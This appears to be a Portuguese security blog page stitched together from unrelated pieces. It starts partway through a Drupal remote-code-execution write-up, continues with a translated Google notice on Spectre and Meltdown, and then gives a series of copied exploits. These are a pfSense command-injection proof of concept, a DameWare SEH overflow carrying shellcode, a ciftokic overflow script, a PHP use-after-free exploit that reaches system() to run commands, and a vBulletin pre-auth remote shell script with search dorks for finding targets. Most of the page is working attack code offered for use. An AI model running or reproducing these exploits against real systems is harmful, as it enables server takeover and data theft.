Agora, tudo o que precisávamos fazer era injetar uma matriz de renderização mal-intencionada que usasse um retorno de chamada de renderização do Drupal para executar o código no sistema.

Havia várias propriedades que poderíamos ter injetado:

• #access_callback
  Usado pelo Drupal para determinar se o usuário atual tem ou não acesso a um elemento.
• #pre_render
  Manipula o array de renderização antes da renderização.
• #lazy_builder
  Usado para adicionar elementos no final do processo de renderização.
• #post_render
  Recebe o resultado do processo de renderização e adiciona wrappers em torno dele.

Para o nosso POC funcionar, escolhemos o elemento #lazy_builder como aquele que está sendo injetado na matriz de correio. Combinado com a funcionalidade de retorno de chamada da API AJAX, poderíamos direcionar o Drupal para renderizar nosso array malicioso.

Isso nos permitiu assumir o controle da conta do administrador, instalar um módulo backdoor mal-intencionado e finalmente executar comandos arbitrários no servidor.

Figura 6: injetando o comando malicioso em um dos retornos de chamada de renderização do Drupal.

Figura 7: Executando com sucesso comandos do shell usando o módulo malicioso

Conclusão

Depois de ver publicações anteriores no Twitter e vários blogs de segurança, ficou aparente que havia muita confusão entre a comunidade em relação a este anúncio de vulnerabilidade, com alguns até duvidando da gravidade do mesmo. Como resultado, consideramos que vale a pena olhar mais fundo.

A pesquisa, no entanto, foi desafiadora, já que estávamos começando de uma grande superfície de ataque, já que o patch turva os vetores reais de ataque. Para agilizar nossas descobertas, tivemos a sorte de nos unirmos a especialistas na plataforma Drupal. Os resultados finais destacam como é fácil para a organização ser exposta sem culpa própria, mas sim pelas plataformas de terceiros que usam todos os dias.

Sobre os pesquisadores

Eyal Shalev, Senior Developer na Dofinity
Rotem Reiss, líder de operações de desenvolvimento e segurança na Dofinity 
Eran Vaknin, Pesquisador de Segurança da Check Point

Código do Exploit abaixo (Fonte: Exploit-db.com):

Em 2016, a equipe do Google Project Zero descobriu graves falhas de segurança causadas pela “speculative execution”, uma técnica usada pela maioria dos processadores modernos (CPUs) para otimizar o desempenho, isto inclui além da Intel, outros grandes fabricantes de chips mundiais como a AMD, ARM e NVIDIA e seus respectivos sistemas operacionais independente de qual seja.

O pesquisador do Projeto Zero, Jann Horn, demonstrou que códigos mal-intencionados poderiam aproveitar a execução especulativa para ler a memória do sistema que deveria estar inacessível. Por exemplo, uma pessoa não autorizada pode ler informações confidenciais importantes e impactantes na memória do sistema, como senhas, chaves de criptografia ou informações confidenciais abertas nos aplicativos. O teste também mostrou que um ataque executado em uma máquina virtual foi capaz de acessar a memória física da máquina host e, através disso, obter acesso de leitura à memória de uma máquina virtual diferente no mesmo host.

Assim que a equipe do Google descobriu o problema dessa nova classe de ataque, os mesmos já se mobilizaram para defender os seus sistemas e os dados de seus usuários. Já pensou! Se até o Google seria vítima, imaginem o resto do mundo. Como já seria de se esperar, o Google colaborou com fabricantes de hardware e software em toda a indústria mundial para ajudar a proteger seus usuários e a web da maneira mais ampla. Esses esforços incluíram análise colaborativa e o desenvolvimento de novas mitigações.

Esta matéria foi retirada do Blog Oficial do Google para notícias de segurança, Esta noticia foi postada antes da data original prevista que era dia 9 de janeiro de 2018 devido aos relatórios públicos existentes e a especulações crescentes na comunidade de pesquisa de imprensa e segurança sobre o problema, o que aumenta o risco de exploração. O relatório completo do Projeto Zero está disponível (atualização: isso foi publicado, veja acima).

Abaixo segue o status de atenuação para produtos do Google em uma lista de produtos afetados e seu status atual de mitigação contra este ataque aparece aqui. Como esta é uma nova classe de ataque, nosso status de patch refere-se à nossa mitigação para vetores atualmente conhecidos para explorar a falha. O problema foi atenuado em muitos produtos (ou não era uma vulnerabilidade em primeiro lugar). Em alguns casos, os usuários e clientes podem precisar tomar medidas adicionais para garantir que estejam usando uma versão protegida de um produto. Esta lista e o status de um produto podem mudar conforme os novos desenvolvimentos garantem. No caso de novos desenvolvimentos, o Google postará atualizações em seu blog Oficial (Os links contidos nas informações abaixo estão em inglês e foram fornecidos pelo Google em seu blog oficial).

• Android
  Os dispositivos com a última atualização de segurança estão protegidos. Além disso, desconhecemos qualquer reprodução bem-sucedida dessa vulnerabilidade que permita a divulgação de informações não autorizadas em dispositivos Android baseados em ARM.
  Os dispositivos Nexus e Pixel suportados com a última atualização de segurança estão protegidos.
• Google Apps / G Suite (Gmail, Calendário, Unidade, Sites, etc.):
  Nenhuma ação adicional de usuário ou cliente necessária.
• Google Chrome
  Algumas ações do usuário ou do cliente são necessárias. Mais informações aqui.
• Google Chrome OS (por exemplo, Chromebooks):
  Algumas ações adicionais do usuário ou do cliente são necessárias. Mais informações aqui.
• Google Cloud Platform
  • Google App Engine: Nenhuma ação adicional do cliente necessária.
  • Google Compute Engine: Algumas ações adicionais do cliente são necessárias. Mais informações aqui.
  • Google Kubernetes Engine: Algumas ações adicionais do cliente são necessárias. Mais informações aqui.
  • Google Cloud Dataflow: necessária uma ação adicional do cliente. Mais informações aqui.
  • Google Cloud Dataproc: necessária uma ação adicional do cliente. Mais informações aqui.
• Todos os outros produtos e serviços do Google Cloud: Nenhuma ação adicional é necessária.
• Google Home / Chromecast:
  Nenhuma ação de usuário adicional é necessária.
• Google Wifi / OnHub:
  Nenhuma ação de usuário adicional é necessária.

A falha permite múltiplos métodos de ataque

Para aproveitar esta vulnerabilidade, primeiro um atacante pode ser capaz de executar código malicioso no sistema visado.
Os pesquisadores do Projeto Zero descobriram três métodos (variantes) de ataque, que são efetivos sob diferentes condições. Todas as três variantes de ataque podem permitir que qualquer usuário do sistema execute leituras não autorizadas de dados de memória, que podem conter informações confidenciais, como senhas, material de criptografia, etc.

Para melhorar o desempenho, muitas CPUs podem optar especificamente por executar instruções com base em premissas que são consideradas verdadeiras. Durante a execução especulativa, o processador está verificando esses pressupostos; se eles são válidos, então a execução continua. Se eles são inválidos, a execução é desencadeada e o caminho de execução correto pode ser iniciado com base nas condições reais. É possível que esta execução especulativa tenha efeitos colaterais que não sejam restaurados quando o estado da CPU é desencadeada e pode levar à divulgação de informações.

Não existe uma única correção para as três variantes de ataque de uma vez; Cada uma exige proteção de forma independente. Muitos vendedores possuem correções disponíveis para um ou mais desses ataques.

Abaixo seguem dois exemplos de ataques que foram utilizados com sucesso pelos engenheiros do Google, ambos com exploits já existentes que poderiam ser adaptados para explorar as falhas.

Meltodwon quebra o isolamento mais fundamental entre as aplicações do usuário e o sistema operacional. Este ataque permite que um programa acesse a memória e, portanto, também os segredos, de outros programas e do sistema operacional.

Spectre quebra o isolamento entre diferentes aplicativos. Ele permite que o invasor engane programas sem erros, que seguem as melhores práticas, para capturar os segredos da maquina visada. Na verdade, as verificações de segurança referidas das melhores práticas realmente aumentam a superfície de ataque e podem tornar as aplicações mais susceptíveis ao Spectre.

Specter é mais difícil de explorar do que Meltdown, mas também é difícil de mitigar. No entanto, é possível evitar explorações de conhecimento específicas com base em Spectre através de atualizações de software.

Portanto Sysadmins, fiquem alertas para os próximos updates 🙂

Notícia traduzida, adaptada e aprimorada por Marcio Mariano Galvão.

Fonte Original: Blog Oficial do Google

Sem mais delongas:

Exploit Title: pfSense <= 2.3.1_1 Post-Auth Command Execution
Date: 11-06-2017
Exploit Author: s4squatch (Scott White – www.trustedsec.com)
Vendor Homepage: https://www.pfsense.org
Version: 2.3-RELEASE
Vendor Security Advisory: https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc

1. Descrição
As versões do pfSense <= 2.3.1_1 são afetadas por uma vulnerabilidade de injeção de comando pós-autenticação no servidor instalado em auth.inc através da página /system_groupmanager.php (menu Sistema -> Gerenciador de usuários -> Grupos) no gerenciamento do parâmetro [] dos membros . Isso permite que um usuário autenticado da WebGUI com privilégios no system_groupmanager.php executar comandos no contexto do usuário root do servidor em questão.

2. Prova do conceito
‘`ifconfig>/usr/local/www/ifconfig.txt`’
‘`whoami>/usr/local/www/whoami.txt`’

A saída do comando pode ser visualizada da seguinte forma:
http://<endereço>/ifconfig.txt
http://<endereço>/whoami.txt

#!/usr/bin/env python
# Author: Xavi Beltran
# Contact: xavibeltran@protonmail.com
# Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/
# Date: 14/7/2019

# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.1.0.34
#           Tools >> Computer Comments >> Description

# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260

# Unicode compatible padding
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

# 1348
junk2 = "\x43" * 18

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3

print(crash)
            

kic 2.4a – Denial of Service

# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
# Date: September 30, 2019
# Exploit Author: @JosueEncinar
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
# Version: 2.4a 
# Tested on: Ubuntu 18.04

'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.  
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);

If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''

# To test the code use Python 3.6+
from os import system
from sys import argv


def print_usage():
    print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
    print("      |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
    print("      |_Buffer Overflow: python3 ciftokic_overflow.py 81")

if len(argv) == 1:
    print_usage()
else:
    try:
        number = int(argv[1])
        payload = "J"*number
        system(f"ciftokic {payload}")
    except:
        print_usage()


"""

Output Example:

josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)

"""
            

<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 0x6474e552) { # PT_GNU_RELRO
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);
            

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))